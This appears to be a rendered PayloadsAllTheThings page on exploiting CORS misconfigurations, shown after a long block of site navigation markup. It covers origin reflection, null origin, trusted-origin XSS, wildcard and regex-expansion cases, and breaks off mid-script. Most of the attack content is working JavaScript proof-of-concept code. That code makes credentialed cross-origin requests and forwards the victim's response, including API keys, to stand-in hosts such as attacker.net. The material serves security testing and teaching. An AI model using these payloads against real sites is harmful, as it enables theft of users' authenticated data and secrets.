            <span class="md-nav__icon md-icon"></span>
             LEARNING AND SOCIALS
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../_LEARNING_AND_SOCIALS/BOOKS/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Books
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../_LEARNING_AND_SOCIALS/TWITTER/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Twitter
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../_LEARNING_AND_SOCIALS/YOUTUBE/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Youtube
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_61" >
        
          
          <label class="md-nav__link" for="__nav_61" id="__nav_61_label" tabindex="0">
            
  
  <span class="md-ellipsis">
     template vuln
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_61_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_61">
            <span class="md-nav__icon md-icon"></span>
             template vuln
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../_template_vuln/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Vulnerability Title
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
  </ul>
</nav>
                  </div>
                </div>
              </div>
            
            
              
              <div class="md-sidebar md-sidebar--secondary" data-md-component="sidebar" data-md-type="toc" >
                <div class="md-sidebar__scrollwrap">
                  <div class="md-sidebar__inner">
                    

<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
  
  
  
    
  
  
    <label class="md-nav__title" for="__toc">
      <span class="md-nav__icon md-icon"></span>
      Table of contents
    </label>
    <ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
      
        <li class="md-nav__item">
  <a href="#summary" class="md-nav__link">
    <span class="md-ellipsis">
      Summary
    </span>
  </a>
  
</li>
      
        <li class="md-nav__item">
  <a href="#tools" class="md-nav__link">
    <span class="md-ellipsis">
      Tools
    </span>
  </a>
  
</li>
      
        <li class="md-nav__item">
  <a href="#requirements" class="md-nav__link">
    <span class="md-ellipsis">
      Requirements
    </span>
  </a>
  
</li>
      
        <li class="md-nav__item">
  <a href="#methodology" class="md-nav__link">
    <span class="md-ellipsis">
      Methodology
    </span>
  </a>
  
    <nav class="md-nav" aria-label="Methodology">
      <ul class="md-nav__list">
        
          <li class="md-nav__item">
  <a href="#origin-reflection" class="md-nav__link">
    <span class="md-ellipsis">
      Origin Reflection
    </span>
  </a>
  
    <nav class="md-nav" aria-label="Origin Reflection">
      <ul class="md-nav__list">
        
          <li class="md-nav__item">
  <a href="#vulnerable-implementation" class="md-nav__link">
    <span class="md-ellipsis">
      Vulnerable Implementation
    </span>
  </a>
  
</li>
        
          <li class="md-nav__item">
  <a href="#proof-of-concept" class="md-nav__link">
    <span class="md-ellipsis">
      Proof Of Concept
    </span>
  </a>
  
</li>
        
      </ul>
    </nav>
  
</li>
        
          <li class="md-nav__item">
  <a href="#null-origin" class="md-nav__link">
    <span class="md-ellipsis">
      Null Origin
    </span>
  </a>
  
    <nav class="md-nav" aria-label="Null Origin">
      <ul class="md-nav__list">
        
          <li class="md-nav__item">
  <a href="#vulnerable-implementation_1" class="md-nav__link">
    <span class="md-ellipsis">
      Vulnerable Implementation
    </span>
  </a>
  
</li>
        
          <li class="md-nav__item">
  <a href="#proof-of-concept_1" class="md-nav__link">
    <span class="md-ellipsis">
      Proof Of Concept
    </span>
  </a>
  
</li>
        
      </ul>
    </nav>
  
</li>
        
          <li class="md-nav__item">
  <a href="#xss-on-trusted-origin" class="md-nav__link">
    <span class="md-ellipsis">
      XSS on Trusted Origin
    </span>
  </a>
  
</li>
        
          <li class="md-nav__item">
  <a href="#wildcard-origin-without-credentials" class="md-nav__link">
    <span class="md-ellipsis">
      Wildcard Origin without Credentials
    </span>
  </a>
  
    <nav class="md-nav" aria-label="Wildcard Origin without Credentials">
      <ul class="md-nav__list">
        
          <li class="md-nav__item">
  <a href="#vulnerable-implementation_2" class="md-nav__link">
    <span class="md-ellipsis">
      Vulnerable Implementation
    </span>
  </a>
  
</li>
        
          <li class="md-nav__item">
  <a href="#proof-of-concept_2" class="md-nav__link">
    <span class="md-ellipsis">
      Proof Of Concept
    </span>
  </a>
  
</li>
        
      </ul>
    </nav>
  
</li>
        
          <li class="md-nav__item">
  <a href="#expanding-the-origin" class="md-nav__link">
    <span class="md-ellipsis">
      Expanding the Origin
    </span>
  </a>
  
    <nav class="md-nav" aria-label="Expanding the Origin">
      <ul class="md-nav__list">
        
          <li class="md-nav__item">
  <a href="#vulnerable-implementation-example-1" class="md-nav__link">
    <span class="md-ellipsis">
      Vulnerable Implementation (Example 1)
    </span>
  </a>
  
</li>
        
          <li class="md-nav__item">
  <a href="#proof-of-concept-example-1" class="md-nav__link">
    <span class="md-ellipsis">
      Proof of Concept (Example 1)
    </span>
  </a>
  
</li>
        
          <li class="md-nav__item">
  <a href="#vulnerable-implementation-example-2" class="md-nav__link">
    <span class="md-ellipsis">
      Vulnerable Implementation (Example 2)
    </span>
  </a>
  
</li>
        
          <li class="md-nav__item">
  <a href="#proof-of-concept-example-2" class="md-nav__link">
    <span class="md-ellipsis">
      Proof of concept (Example 2)
    </span>
  </a>
  
</li>
        
      </ul>
    </nav>
  
</li>
        
      </ul>
    </nav>
  
</li>
      
        <li class="md-nav__item">
  <a href="#labs" class="md-nav__link">
    <span class="md-ellipsis">
      Labs
    </span>
  </a>
  
</li>
      
        <li class="md-nav__item">
  <a href="#references" class="md-nav__link">
    <span class="md-ellipsis">
      References
    </span>
  </a>
  
</li>
      
    </ul>
  
</nav>
                  </div>
                </div>
              </div>
            
          
          
            <div class="md-content" data-md-component="content">
              <article class="md-content__inner md-typeset">
                
	
                  

  
    <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CORS Misconfiguration/README.md" title="Edit this page" class="md-content__button md-icon">
      
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg>
    </a>
  
  
    
      
    
    <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/CORS Misconfiguration/README.md" title="View source of this page" class="md-content__button md-icon">
      
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M17 18c.56 0 1 .44 1 1s-.44 1-1 1-1-.44-1-1 .44-1 1-1m0-3c-2.73 0-5.06 1.66-6 4 .94 2.34 3.27 4 6 4s5.06-1.66 6-4c-.94-2.34-3.27-4-6-4m0 6.5a2.5 2.5 0 0 1-2.5-2.5 2.5 2.5 0 0 1 2.5-2.5 2.5 2.5 0 0 1 2.5 2.5 2.5 2.5 0 0 1-2.5 2.5M9.27 20H6V4h7v5h5v4.07c.7.08 1.36.25 2 .49V8l-6-6H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h4.5a8.2 8.2 0 0 1-1.23-2"/></svg>
    </a>
  


<h1 id="cors-misconfiguration">CORS Misconfiguration</h1>
<blockquote>
<p>A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attacker’s site using the victim’s credentials. </p>
</blockquote>
<h2 id="summary">Summary</h2>
<ul>
<li><a href="#tools">Tools</a></li>
<li><a href="#requirements">Requirements</a></li>
<li><a href="#methodology">Methodology</a><ul>
<li><a href="#origin-reflection">Origin Reflection</a></li>
<li><a href="#null-origin">Null Origin</a></li>
<li><a href="#xss-on-trusted-origin">XSS on Trusted Origin</a></li>
<li><a href="#wildcard-origin-without-credentials">Wildcard Origin without Credentials</a></li>
<li><a href="#expanding-the-origin">Expanding the Origin</a></li>
</ul>
</li>
<li><a href="#labs">Labs</a></li>
<li><a href="#references">References</a></li>
</ul>
<h2 id="tools">Tools</h2>
<ul>
<li><a href="https://github.com/s0md3v/Corsy/">s0md3v/Corsy</a> - CORS Misconfiguration Scanner</li>
<li><a href="https://github.com/chenjj/CORScanner">chenjj/CORScanner</a> - Fast CORS misconfiguration vulnerabilities scanner</li>
<li><a href="https://tools.honoki.net/postmessage.html">@honoki/PostMessage</a> - POC Builder</li>
<li><a href="https://github.com/trufflesecurity/of-cors">trufflesecurity/of-cors</a> - Exploit CORS misconfigurations on the internal networks</li>
<li><a href="https://github.com/omranisecurity/CorsOne">omranisecurity/CorsOne</a> - Fast CORS Misconfiguration Discovery Tool</li>
</ul>
<h2 id="requirements">Requirements</h2>
<ul>
<li>BURP HEADER&gt; <code>Origin: https://evil.com</code></li>
<li>VICTIM HEADER&gt; <code>Access-Control-Allow-Credential: true</code></li>
<li>VICTIM HEADER&gt; <code>Access-Control-Allow-Origin: https://evil.com</code> OR <code>Access-Control-Allow-Origin: null</code></li>
</ul>
<h2 id="methodology">Methodology</h2>
<p>Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target <code>https://victim.example.com/endpoint</code>.</p>
<h3 id="origin-reflection">Origin Reflection</h3>
<h4 id="vulnerable-implementation">Vulnerable Implementation</h4>
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="n">GET</span> <span class="p">/</span><span class="n">endpoint</span> <span class="n">HTTP</span><span class="p">/</span><span class="n">1</span><span class="p">.</span><span class="n">1</span>
<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a><span class="n">Host</span><span class="p">:</span> <span class="n">victim</span><span class="p">.</span><span class="n">example</span><span class="p">.</span><span class="n">com</span>
<a id="__codelineno-0-3" name="__codelineno-0-3" href="#__codelineno-0-3"></a><span class="n">Origin</span><span class="p">:</span> <span class="n">https</span><span class="p">://</span><span class="n">evil</span><span class="p">.</span><span class="n">com</span>
<a id="__codelineno-0-4" name="__codelineno-0-4" href="#__codelineno-0-4"></a><span class="n">Cookie</span><span class="p">:</span> <span class="n">sessionid</span><span class="p">=...</span> 
<a id="__codelineno-0-5" name="__codelineno-0-5" href="#__codelineno-0-5"></a>
<a id="__codelineno-0-6" name="__codelineno-0-6" href="#__codelineno-0-6"></a><span class="n">HTTP</span><span class="p">/</span><span class="n">1</span><span class="p">.</span><span class="n">1</span> <span class="n">200</span> <span class="n">OK</span>
<a id="__codelineno-0-7" name="__codelineno-0-7" href="#__codelineno-0-7"></a><span class="n">Access-Control-Allow-Origin</span><span class="p">:</span> <span class="n">https</span><span class="p">://</span><span class="n">evil</span><span class="p">.</span><span class="n">com</span>
<a id="__codelineno-0-8" name="__codelineno-0-8" href="#__codelineno-0-8"></a><span class="n">Access-Control-Allow-Credentials</span><span class="p">:</span> <span class="n">true</span> 
<a id="__codelineno-0-9" name="__codelineno-0-9" href="#__codelineno-0-9"></a>
<a id="__codelineno-0-10" name="__codelineno-0-10" href="#__codelineno-0-10"></a><span class="p">{</span><span class="s2">&quot;[private API key]&quot;</span><span class="p">}</span>
</code></pre></div>
<h4 id="proof-of-concept">Proof Of Concept</h4>
<p>This PoC requires that the respective JS script is hosted at <code>evil.com</code></p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="kd">var</span><span class="w"> </span><span class="nx">req</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="nx">XMLHttpRequest</span><span class="p">();</span><span class="w"> </span>
<a id="__codelineno-1-2" name="__codelineno-1-2" href="#__codelineno-1-2"></a><span class="nx">req</span><span class="p">.</span><span class="nx">onload</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">reqListener</span><span class="p">;</span><span class="w"> </span>
<a id="__codelineno-1-3" name="__codelineno-1-3" href="#__codelineno-1-3"></a><span class="nx">req</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s1">&#39;get&#39;</span><span class="p">,</span><span class="s1">&#39;https://victim.example.com/endpoint&#39;</span><span class="p">,</span><span class="kc">true</span><span class="p">);</span><span class="w"> </span>
<a id="__codelineno-1-4" name="__codelineno-1-4" href="#__codelineno-1-4"></a><span class="nx">req</span><span class="p">.</span><span class="nx">withCredentials</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">true</span><span class="p">;</span>
<a id="__codelineno-1-5" name="__codelineno-1-5" href="#__codelineno-1-5"></a><span class="nx">req</span><span class="p">.</span><span class="nx">send</span><span class="p">();</span>
<a id="__codelineno-1-6" name="__codelineno-1-6" href="#__codelineno-1-6"></a>
<a id="__codelineno-1-7" name="__codelineno-1-7" href="#__codelineno-1-7"></a><span class="kd">function</span><span class="w"> </span><span class="nx">reqListener</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-1-8" name="__codelineno-1-8" href="#__codelineno-1-8"></a><span class="w">    </span><span class="nx">location</span><span class="o">=</span><span class="s1">&#39;//attacker.net/log?key=&#39;</span><span class="o">+</span><span class="k">this</span><span class="p">.</span><span class="nx">responseText</span><span class="p">;</span><span class="w"> </span>
<a id="__codelineno-1-9" name="__codelineno-1-9" href="#__codelineno-1-9"></a><span class="p">};</span>
</code></pre></div>
<p>or </p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="p">&lt;</span><span class="nt">html</span><span class="p">&gt;</span>
<a id="__codelineno-2-2" name="__codelineno-2-2" href="#__codelineno-2-2"></a>     <span class="p">&lt;</span><span class="nt">body</span><span class="p">&gt;</span>
<a id="__codelineno-2-3" name="__codelineno-2-3" href="#__codelineno-2-3"></a>         <span class="p">&lt;</span><span class="nt">h2</span><span class="p">&gt;</span>CORS PoC<span class="p">&lt;/</span><span class="nt">h2</span><span class="p">&gt;</span>
<a id="__codelineno-2-4" name="__codelineno-2-4" href="#__codelineno-2-4"></a>         <span class="p">&lt;</span><span class="nt">div</span> <span class="na">id</span><span class="o">=</span><span class="s">&quot;demo&quot;</span><span class="p">&gt;</span>
<a id="__codelineno-2-5" name="__codelineno-2-5" href="#__codelineno-2-5"></a>             <span class="p">&lt;</span><span class="nt">button</span> <span class="na">type</span><span class="o">=</span><span class="s">&quot;button&quot;</span> <span class="na">onclick</span><span class="o">=</span><span class="s">&quot;cors()&quot;</span><span class="p">&gt;</span>Exploit<span class="p">&lt;/</span><span class="nt">button</span><span class="p">&gt;</span>
<a id="__codelineno-2-6" name="__codelineno-2-6" href="#__codelineno-2-6"></a>         <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
<a id="__codelineno-2-7" name="__codelineno-2-7" href="#__codelineno-2-7"></a>         <span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>
<a id="__codelineno-2-8" name="__codelineno-2-8" href="#__codelineno-2-8"></a><span class="w">             </span><span class="kd">function</span><span class="w"> </span><span class="nx">cors</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-2-9" name="__codelineno-2-9" href="#__codelineno-2-9"></a><span class="w">             </span><span class="kd">var</span><span class="w"> </span><span class="nx">xhr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="nx">XMLHttpRequest</span><span class="p">();</span>
<a id="__codelineno-2-10" name="__codelineno-2-10" href="#__codelineno-2-10"></a><span class="w">             </span><span class="nx">xhr</span><span class="p">.</span><span class="nx">onreadystatechange</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kd">function</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-2-11" name="__codelineno-2-11" href="#__codelineno-2-11"></a><span class="w">                 </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">readyState</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mf">4</span><span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="k">this</span><span class="p">.</span><span class="nx">status</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mf">200</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-2-12" name="__codelineno-2-12" href="#__codelineno-2-12"></a><span class="w">                 </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">&quot;demo&quot;</span><span class="p">).</span><span class="nx">innerHTML</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">alert</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">responseText</span><span class="p">);</span>
<a id="__codelineno-2-13" name="__codelineno-2-13" href="#__codelineno-2-13"></a><span class="w">                 </span><span class="p">}</span>
<a id="__codelineno-2-14" name="__codelineno-2-14" href="#__codelineno-2-14"></a><span class="w">             </span><span class="p">};</span>
<a id="__codelineno-2-15" name="__codelineno-2-15" href="#__codelineno-2-15"></a><span class="w">              </span><span class="nx">xhr</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s2">&quot;GET&quot;</span><span class="p">,</span>
<a id="__codelineno-2-16" name="__codelineno-2-16" href="#__codelineno-2-16"></a><span class="w">                       </span><span class="s2">&quot;https://victim.example.com/endpoint&quot;</span><span class="p">,</span><span class="w"> </span><span class="kc">true</span><span class="p">);</span>
<a id="__codelineno-2-17" name="__codelineno-2-17" href="#__codelineno-2-17"></a><span class="w">             </span><span class="nx">xhr</span><span class="p">.</span><span class="nx">withCredentials</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">true</span><span class="p">;</span>
<a id="__codelineno-2-18" name="__codelineno-2-18" href="#__codelineno-2-18"></a><span class="w">             </span><span class="nx">xhr</span><span class="p">.</span><span class="nx">send</span><span class="p">();</span>
<a id="__codelineno-2-19" name="__codelineno-2-19" href="#__codelineno-2-19"></a><span class="w">             </span><span class="p">}</span>
<a id="__codelineno-2-20" name="__codelineno-2-20" href="#__codelineno-2-20"></a><span class="w">         </span><span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
<a id="__codelineno-2-21" name="__codelineno-2-21" href="#__codelineno-2-21"></a>     <span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;</span>
<a id="__codelineno-2-22" name="__codelineno-2-22" href="#__codelineno-2-22"></a> <span class="p">&lt;/</span><span class="nt">html</span><span class="p">&gt;</span>
</code></pre></div>
<h3 id="null-origin">Null Origin</h3>
<h4 id="vulnerable-implementation_1">Vulnerable Implementation</h4>
<p>It's possible that the server does not reflect the complete <code>Origin</code> header but
that the <code>null</code> origin is allowed. This would look like this in the server's
response:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a>GET /endpoint HTTP/1.1
<a id="__codelineno-3-2" name="__codelineno-3-2" href="#__codelineno-3-2"></a>Host: victim.example.com
<a id="__codelineno-3-3" name="__codelineno-3-3" href="#__codelineno-3-3"></a>Origin: null
<a id="__codelineno-3-4" name="__codelineno-3-4" href="#__codelineno-3-4"></a>Cookie: sessionid=... 
<a id="__codelineno-3-5" name="__codelineno-3-5" href="#__codelineno-3-5"></a>
<a id="__codelineno-3-6" name="__codelineno-3-6" href="#__codelineno-3-6"></a>HTTP/1.1 200 OK
<a id="__codelineno-3-7" name="__codelineno-3-7" href="#__codelineno-3-7"></a>Access-Control-Allow-Origin: null
<a id="__codelineno-3-8" name="__codelineno-3-8" href="#__codelineno-3-8"></a>Access-Control-Allow-Credentials: true 
<a id="__codelineno-3-9" name="__codelineno-3-9" href="#__codelineno-3-9"></a>
<a id="__codelineno-3-10" name="__codelineno-3-10" href="#__codelineno-3-10"></a>{&quot;[private API key]&quot;}
</code></pre></div>
<h4 id="proof-of-concept_1">Proof Of Concept</h4>
<p>This can be exploited by putting the attack code into an iframe using the data
URI scheme. If the data URI scheme is used, the browser will use the <code>null</code>
origin in the request:</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="p">&lt;</span><span class="nt">iframe</span> <span class="na">sandbox</span><span class="o">=</span><span class="s">&quot;allow-scripts allow-top-navigation allow-forms&quot;</span> <span class="na">src</span><span class="o">=</span><span class="s">&quot;data:text/html, &lt;script&gt;</span>
<a id="__codelineno-4-2" name="__codelineno-4-2" href="#__codelineno-4-2"></a><span class="s">  var req = new XMLHttpRequest();</span>
<a id="__codelineno-4-3" name="__codelineno-4-3" href="#__codelineno-4-3"></a><span class="s">  req.onload = reqListener;</span>
<a id="__codelineno-4-4" name="__codelineno-4-4" href="#__codelineno-4-4"></a><span class="s">  req.open(&#39;get&#39;,&#39;https://victim.example.com/endpoint&#39;,true);</span>
<a id="__codelineno-4-5" name="__codelineno-4-5" href="#__codelineno-4-5"></a><span class="s">  req.withCredentials = true;</span>
<a id="__codelineno-4-6" name="__codelineno-4-6" href="#__codelineno-4-6"></a><span class="s">  req.send();</span>
<a id="__codelineno-4-7" name="__codelineno-4-7" href="#__codelineno-4-7"></a>
<a id="__codelineno-4-8" name="__codelineno-4-8" href="#__codelineno-4-8"></a><span class="s">  function reqListener() {</span>
<a id="__codelineno-4-9" name="__codelineno-4-9" href="#__codelineno-4-9"></a><span class="s">    location=&#39;https://attacker.example.net/log?key=&#39;+encodeURIComponent(this.responseText);</span>
<a id="__codelineno-4-10" name="__codelineno-4-10" href="#__codelineno-4-10"></a><span class="s">   };</span>
<a id="__codelineno-4-11" name="__codelineno-4-11" href="#__codelineno-4-11"></a><span class="s">&lt;/script&gt;&quot;</span><span class="p">&gt;&lt;/</span><span class="nt">iframe</span><span class="p">&gt;</span> 
</code></pre></div>
<h3 id="xss-on-trusted-origin">XSS on Trusted Origin</h3>
<p>If the application does implement a strict whitelist of allowed origins, the
exploit codes from above do not work. But if you have an XSS on a trusted
origin, you can inject the exploit coded from above in order to exploit CORS
again.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a>https://trusted-origin.example.com/?xss=&lt;script&gt;CORS-ATTACK-PAYLOAD&lt;/script&gt;
</code></pre></div>
<h3 id="wildcard-origin-without-credentials">Wildcard Origin without Credentials</h3>
<p>If the server responds with a wildcard origin <code>*</code>, <strong>the browser does never send
the cookies</strong>. However, if the server does not require authentication, it's still
possible to access the data on the server. This can happen on internal servers
that are not accessible from the Internet. The attacker's website can then 
pivot into the internal network and access the server's data without authentication.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="p">*</span> <span class="n">is</span> <span class="n">the</span> <span class="n">only</span> <span class="n">wildcard</span> <span class="n">origin</span>
<a id="__codelineno-6-2" name="__codelineno-6-2" href="#__codelineno-6-2"></a><span class="n">https</span><span class="p">://*.</span><span class="n">example</span><span class="p">.</span><span class="n">com</span> <span class="n">is</span> <span class="n">not</span> <span class="n">valid</span>
</code></pre></div>
<h4 id="vulnerable-implementation_2">Vulnerable Implementation</h4>
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="n">GET</span> <span class="p">/</span><span class="n">endpoint</span> <span class="n">HTTP</span><span class="p">/</span><span class="n">1</span><span class="p">.</span><span class="n">1</span>
<a id="__codelineno-7-2" name="__codelineno-7-2" href="#__codelineno-7-2"></a><span class="n">Host</span><span class="p">:</span> <span class="n">api</span><span class="p">.</span><span class="n">internal</span><span class="p">.</span><span class="n">example</span><span class="p">.</span><span class="n">com</span>
<a id="__codelineno-7-3" name="__codelineno-7-3" href="#__codelineno-7-3"></a><span class="n">Origin</span><span class="p">:</span> <span class="n">https</span><span class="p">://</span><span class="n">evil</span><span class="p">.</span><span class="n">com</span>
<a id="__codelineno-7-4" name="__codelineno-7-4" href="#__codelineno-7-4"></a>
<a id="__codelineno-7-5" name="__codelineno-7-5" href="#__codelineno-7-5"></a><span class="n">HTTP</span><span class="p">/</span><span class="n">1</span><span class="p">.</span><span class="n">1</span> <span class="n">200</span> <span class="n">OK</span>
<a id="__codelineno-7-6" name="__codelineno-7-6" href="#__codelineno-7-6"></a><span class="n">Access-Control-Allow-Origin</span><span class="p">:</span> <span class="p">*</span>
<a id="__codelineno-7-7" name="__codelineno-7-7" href="#__codelineno-7-7"></a>
<a id="__codelineno-7-8" name="__codelineno-7-8" href="#__codelineno-7-8"></a><span class="p">{</span><span class="s2">&quot;[private API key]&quot;</span><span class="p">}</span>
</code></pre></div>
<h4 id="proof-of-concept_2">Proof Of Concept</h4>
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="kd">var</span><span class="w"> </span><span class="nx">req</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="nx">XMLHttpRequest</span><span class="p">();</span><span class="w"> </span>
<a id="__codelineno-8-2" name="__codelineno-8-2" href="#__codelineno-8-2"></a><span class="nx">req</span><span class="p">.</span><span class="nx">onload</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">reqListener</span><span class="p">;</span><span class="w"> </span>
<a id="__codelineno-8-3" name="__codelineno-8-3" href="#__codelineno-8-3"></a><span class="nx">req</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s1">&#39;get&#39;</span><span class="p">,</span><span class="s1">&#39;https://api.internal.example.com/endpoint&#39;</span><span class="p">,</span><span class="kc">true</span><span class="p">);</span><span class="w"> </span>
<a id="__codelineno-8-4" name="__codelineno-8-4" href="#__codelineno-8-4"></a><span class="nx">req</span><span class="p">.</span><span class="nx">send</span><span class="p">();</span>
<a id="__codelineno-8-5" name="__codelineno-8-5" href="#__codelineno-8-5"></a>
<a id="__codelineno-8-6" name="__codelineno-8-6" href="#__codelineno-8-6"></a><span class="kd">function</span><span class="w"> </span><span class="nx">reqListener</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-8-7" name="__codelineno-8-7" href="#__codelineno-8-7"></a><span class="w">    </span><span class="nx">location</span><span class="o">=</span><span class="s1">&#39;//attacker.net/log?key=&#39;</span><span class="o">+</span><span class="k">this</span><span class="p">.</span><span class="nx">responseText</span><span class="p">;</span><span class="w"> </span>
<a id="__codelineno-8-8" name="__codelineno-8-8" href="#__codelineno-8-8"></a><span class="p">};</span>
</code></pre></div>
<h3 id="expanding-the-origin">Expanding the Origin</h3>
<p>Occasionally, certain expansions of the original origin are not filtered on the server side. This might be caused by using a badly implemented regular expressions to validate the origin header.</p>
<h4 id="vulnerable-implementation-example-1">Vulnerable Implementation (Example 1)</h4>
<p>In this scenario any prefix inserted in front of <code>example.com</code> will be accepted by the server. </p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a>GET /endpoint HTTP/1.1
<a id="__codelineno-9-2" name="__codelineno-9-2" href="#__codelineno-9-2"></a>Host: api.example.com
<a id="__codelineno-9-3" name="__codelineno-9-3" href="#__codelineno-9-3"></a>Origin: https://evilexample.com
<a id="__codelineno-9-4" name="__codelineno-9-4" href="#__codelineno-9-4"></a>
<a id="__codelineno-9-5" name="__codelineno-9-5" href="#__codelineno-9-5"></a>HTTP/1.1 200 OK
<a id="__codelineno-9-6" name="__codelineno-9-6" href="#__codelineno-9-6"></a>Access-Control-Allow-Origin: https://evilexample.com
<a id="__codelineno-9-7" name="__codelineno-9-7" href="#__codelineno-9-7"></a>Access-Control-Allow-Credentials: true 
<a id="__codelineno-9-8" name="__codelineno-9-8" href="#__codelineno-9-8"></a>
<a id="__codelineno-9-9" name="__codelineno-9-9" href="#__codelineno-9-9"></a>{&quot;[private API key]&quot;}
</code></pre></div>
<h4 id="proof-of-concept-example-1">Proof of Concept (Example 1)</h4>
<p>This PoC requires the respective JS script to be hosted at <code>evilexample.com</code></p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a><span class="kd">var</span><span class="w"> </span><span class="nx">req</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="nx">XMLHttpRequest</span><span class="p">();</span><span class="w"> </span>
<a id="__codelineno-10-2" name="__codelineno-10-2" href="#__codelineno-10-2"></a><span class="nx">req</span><span class="p">.</span><span class="nx">onload</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">reqListener</span><span class="p">;</span><span class="w"> </span>
<a id="__codelineno-10-3" name="__codelineno-10-3" href="#__codelineno-10-3"></a><span class="nx">req</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s1">&#39;get&#39;</span><span class="p">,</span><span class="s1">&#39;https://api.example.com/endpoint&#39;</span><span class="p">,</span><span class="kc">true</span><span class="p">);</span><span class="w"> </span>
<a id="__codelineno-10-4" name="__codelineno-10-4" href="#__codelineno-10-4"></a><span class="nx">req</span><span class="p">.</span><span class="nx">withCredentials</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">true</span><span class="p">;</span>
